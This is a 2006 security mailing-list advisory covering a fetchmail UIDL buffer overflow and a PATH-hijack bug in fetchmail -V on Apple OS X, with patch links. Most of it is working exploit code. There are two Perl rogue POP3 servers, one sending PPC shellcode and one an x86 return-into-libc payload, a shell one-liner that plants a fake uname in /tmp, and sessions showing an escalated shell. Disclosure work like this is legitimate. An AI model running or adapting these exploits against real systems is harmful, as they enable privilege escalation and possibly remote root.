From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 2 Aug 2006 14:56:24 +0200
Subject: [NEWS] Apple OSX Fetchmail Buffer Overflow
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060802123024.B6DB85818@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Apple OSX Fetchmail Buffer Overflow
------------------------------------------------------------------------
SUMMARY
fetchmail-SA-2005-01 states that 'In fetchmail-6.2.5 and older, very long
UIDs can cause fetchmail to crash, or potentially make it execute code
placed on the stack. In some configurations, fetchmail is run by the root
user to download mail for multiple accounts.'. The authors of fetchmail
made patches for these issues available the public on 2005-07-21.
In defiance of a 'very proactive approach to security' Apple's OSX
remained unpatched for approximately one year after the vendor supplied
patches were made available. Shortly after the vendor disclosure of this
bug exploits were made available by The Mantis Project (bannedit AT
frontiernet DOT net). Coincidentally a recent
<http://packetstormsecurity.org/papers/attack/payload-rewrite_exploit.txt>
paper was written about exploiting buffer overflows and this vulnerability
was used as an example.
DETAILS
As you may have guessed by now exploitation on OSX is fairly trivial for
both PowerPC and x86 platforms. An attacker with local access can gain
gid=6 (mail) and a remote attacker may gain root under certain conditions.
k-fs-computer:~ kf$ ls *pwnedmail*
getpwnedmail-ppc.pl getpwnedmail-x86.pl
On PowerPc things were pretty straight forward. Simply overwriting the $pc
and $lr registers with the address of our stack based shellcode was enough
to snag egid=6. On x86 we obviously have to deal with the NX based
protection. As shown plenty of times in the past a non executable stack by
itself is pretty useless. We can overwrite the $eip register with the
address of system() and we are pretty much good to go. A small wrapper in
/tmp can help finish the job and give us a shell with gid=6.
k-fs-computer:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1
localhost -P 1234
Enter password for kfinisterre@localhost:
sh-2.05b$ id
uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm),
79(appserverusr), 80(admin)
In some cases fetchmail is run by the root user so it may be possible to
take remote root with this vulnerability under certain circumstances.
As a side note a previously undisclosed local vulnerability in fetchmail
was discovered while documenting the above mentioned issue. Fetchmail no
longer ships in a setgid() configuration so this information should be of
minimal impact. It is worth noting since it may impact non OSX machines in
a similar manor.
k-fs-computer:~ kf$ export PATH=/tmp/:$PATH
k-fs-computer:~ kf$ cat > /tmp/uname
/usr/bin/id
/bin/sh -i
k-fs-computer:~ kf$ chmod +x /tmp/uname
k-fs-computer:~ kf$ /usr/bin/fetchmail -V
This is fetchmail release 6.2.5+IMAP-GSS+SSL+INET6
Fallback MDA: (none)
uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm),
79(appserverusr), 80(admin)
sh-2.05b$
This issue is caused by the following code snippet:
if (versioninfo)
{
..
/* this is an attempt to help remote debugging */
system("uname -a");
}
Both of the above problems are addressed by the latest Apple update.
Workaround:
Install the 2006-004 update
<http://docs.info.apple.com/article.html?artnum=106704>
http://docs.info.apple.com/article.html?artnum=106704
<http://docs.info.apple.com/article.html?artnum=61798>
http://docs.info.apple.com/article.html?artnum=61798
<http://www.apple.com/support/downloads/>
http://www.apple.com/support/downloads/
Exploit PPC:
#!/usr/bin/perl
# getpwnedmail.pl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# This is a canibalized version of "Kansas City POP Daemon Version 0.0" -
Copyright (c) 1999 David Nicol <davidnicol AT acm DOT org>
#
# kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3
--fastuidl 1 localhost -P 1234
# Enter password for kfinisterre@localhost:
# sh-2.05b$ id
# uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail),
81(appserveradm), 79(appserverusr), 80(admin)
#
# http://docs.info.apple.com/article.html?artnum=106704
use Socket;
use IO::Handle;
use IO::Socket;
$banner = "fetchmail ppc exploit - OSX 10.4.7 8J135";
$sc = "iiii" x 10 .
# * PPC MacOS X shellcode
# * ghandi <ghandi AT mindless DOT com>
"\x7c\xa5\x2a\x79" . # /* xor. r5, r5, r5 ; r5 = NULL */
"\x40\xa2\xff\xfd" . # /* bnel shellcode */
"\x7f\xe8\x02\xa6" . # /* mflr r31 */
"\x3b\xff\x01\x30" . # /* addi r31, r31, 268+36 */
"\x38\x7f\xfe\xf4" . # /* addi r3, r31, -268 ; r3 = path */
"\x90\x61\xff\xf8" . # /* stw r3, -8(r1) ; argv[0] = path */
"\x90\xa1\xff\xfc" . # /* stw r5, -4(r1) ; argv[1] = NULL */
"\x38\x81\xff\xf8" . # /* subi r4, r1, 8 ; r4 = {path, 0} */
"\x3b\xc0\x76\x01" . # /* li r30, 30209 */
"\x7f\xc0\x4e\x70" . # /* srawi r0, r30, 9 */
"\x44\xff\xff\x02" . # /* sc ; execve(r3, r4, r5) */
"/bin/sh";
$eip = 0xbfffd238; # No NX to worry about so just hop right on into the
stack.
$malstr = "A" x 196 . pack('l', $eip) x 2;
$PortNumber = 1234;
$door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber,
Listen=>SOMAXCONN, Reuse=>1 );
die "Cannot set up socket: $!" unless $door;
$timeout = 60;
$SIG{ALRM} = sub { die "alarm or timeout\n" };
print "open a new window and type - \"/usr/bin/fetchmail -p pop3
--fastuidl 1 localhost -P 1234\"\n";
print "choose any password and press enter\n";
for(;;)
{
until( $client = $door->accept())
{
sleep 1;
};
$F = fork;
die "Fork weirdness: $!" if $F < 0;
if($F)
{
close $client;
next;
};
close ($door);
$client->autoflush();
&AUTHORIZATION;
&TRANSACTION;
exit;
};
sub OK($)
{
my $A = shift;
$A =~ s/\s+\Z//g;
print $client "+OK $A\r\n";
alarm $timeout;
};
sub ERR($)
{
my $A = shift;
$A =~ s/\s+/ /g;
$A =~ s/\s+\Z//g;
print $client "-ERR $A\r\n";
alarm $timeout;
};
sub AUTHORIZATION
{
$Name = '';
OK "$banner";
NEEDUSER:
$Data = <$client>;
($Name) = $Data =~ m/^user (\w+)/i;
unless($Name)
{
ERR "The itsy bitsy spider walked up the water spout";
die if ++$strikes > 5;
goto NEEDUSER;
};
OK "User name ($Name) ok. Password, please.";
$Data = <$client>;
my($Pass) = $Data =~ m/^pass (.*)/i;
$Pass =~ s/\s+\Z//g;
OK "$Name has " . 8 . " messages";
};
sub TRANSACTION
{
%deletia = ();
START:
$_ = $Data = <$client>;
unless(defined($Data))
{
print "Client closed connection\n";
exit;
};
if (m/^STAT/i){ &STAT; goto START};
if (m/^UIDL/i){ &UIDL; goto START};
# Just cram the shellcode onto the stack...
ERR "Welcome to Pwndertino ! $sc";
goto START;
}
sub STAT
{
alarm 0;
$mm = 0;
$nn = scalar(@Messages);
foreach $M (@Messages){
$mm += -s "$M";
};
OK "8 7035";
};
sub List($)
{
my $M = $Messages[$_[0]-1];
return if $deletia{$M};
print $client $_[0],' ',(-s $M)."\r\n";
alarm $timeout;
};
sub UIDL
{
print "Sending exploit string\n";
OK "1 " . $malstr;
};
Exploit:
#!/bin/sh
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Previously undisclosed local fetchmail issue. This takes setgid=6
#
# http://docs.info.apple.com/article.html?artnum=106704
export PATH=/tmp:$PATH
echo /bin/sh -i > /tmp/uname
chmod +x /tmp/uname
/usr/bin/fetchmail -V
Exploit x86:
#!/usr/bin/perl
# getpwnedmail.pl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# This is a canibalized version of "Kansas City POP Daemon Version 0.0" -
Copyright (c) 1999 David Nicol <davidnicol AT acm DOT org>
#
# kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3
--fastuidl 1 localhost -P 1234
# Enter password for kfinisterre@localhost:
# sh-2.05b$ id
# uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail),
81(appserveradm), 79(appserverusr), 80(admin)
#
# http://docs.info.apple.com/article.html?artnum=106704
use Socket;
use IO::Handle;
use IO::Socket;
$banner = " /tmp/sh ";
$cmd = $banner ;
$ebp = 0x41424344;
$system = 0x900474e0; # NX is a problem use return into libc
$setuid = 0x90033da0;
$cmdstr = 0xbfffd923; # (gdb) x/10s $esp+131 - 0xbfffd8e3: "
/tmp/sh "
$malstr = "A" x 286 . pack('l', $ebp) . pack('l', $system) . pack('l',
$setuid) . pack('l', $cmdstr) ;
open(SUSH,">/tmp/aaa.c");
printf SUSH "int main(){setegid(6);setgid(6);system(\"/bin/sh\");}\n";
system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");
$PortNumber = 1234;
$door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber,
Listen=>SOMAXCONN, Reuse=>1 );
die "Cannot set up socket: $!" unless $door;
$timeout = 60;
$SIG{ALRM} = sub { die "alarm or timeout\n" };
print "open a new window and type - \"/usr/bin/fetchmail -p pop3
--fastuidl 1 localhost -P 1234\"\n";
print "choose any password and press enter\n";
for(;;)
{
until( $client = $door->accept())
{
sleep 1;
};
$F = fork;
die "Fork weirdness: $!" if $F < 0;
if($F)
{
close $client;
next;
};
close ($door);
$client->autoflush();
&AUTHORIZATION;
&TRANSACTION;
exit;
};
sub OK($)
{
my $A = shift;
$A =~ s/\s+\Z//g;
print $client "+OK $A\r\n";
alarm $timeout;
};
sub ERR($)
{
my $A = shift;
$A =~ s/\s+/ /g;
$A =~ s/\s+\Z//g;
print $client "-ERR $A\r\n";
alarm $timeout;
};
sub AUTHORIZATION
{
$Name = '';
OK "$banner";
NEEDUSER:
$Data = <$client>;
($Name) = $Data =~ m/^user (\w+)/i;
unless($Name)
{
ERR "The itsy bitsy spider walked up the water spout";
die if ++$strikes > 5;
goto NEEDUSER;
};
OK "User name ($Name) ok. Password, please.";
$Data = <$client>;
my($Pass) = $Data =~ m/^pass (.*)/i;
$Pass =~ s/\s+\Z//g;
OK "$Name has " . 8 . " messages";
};
sub TRANSACTION
{
%deletia = ();
START:
$_ = $Data = <$client>;
unless(defined($Data))
{
print "Client closed connection\n";
exit;
};
if (m/^STAT/i){ &STAT; goto START};
if (m/^UIDL/i){ &UIDL; goto START};
# Just cram the shellcode onto the stack...
ERR "Welcome to Pwndertino ! $cmd";
goto START;
}
sub STAT
{
alarm 0;
$mm = 0;
$nn = scalar(@Messages);
foreach $M (@Messages){
$mm += -s "$M";
};
OK "8 7035";
};
sub List($)
{
my $M = $Messages[$_[0]-1];
return if $deletia{$M};
print $client $_[0],' ',(-s $M)."\r\n";
alarm $timeout;
};
sub UIDL
{
print "Sending exploit string\n";
OK "1 " . $malstr;
};
ADDITIONAL INFORMATION
The information has been provided by Kevin Finisterre.
The original article can be found at:
<http://www.digitalmunition.com/DMA%5B2006-0801a%5D.txt>
http://www.digitalmunition.com/DMA%5B2006-0801a%5D.txt
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.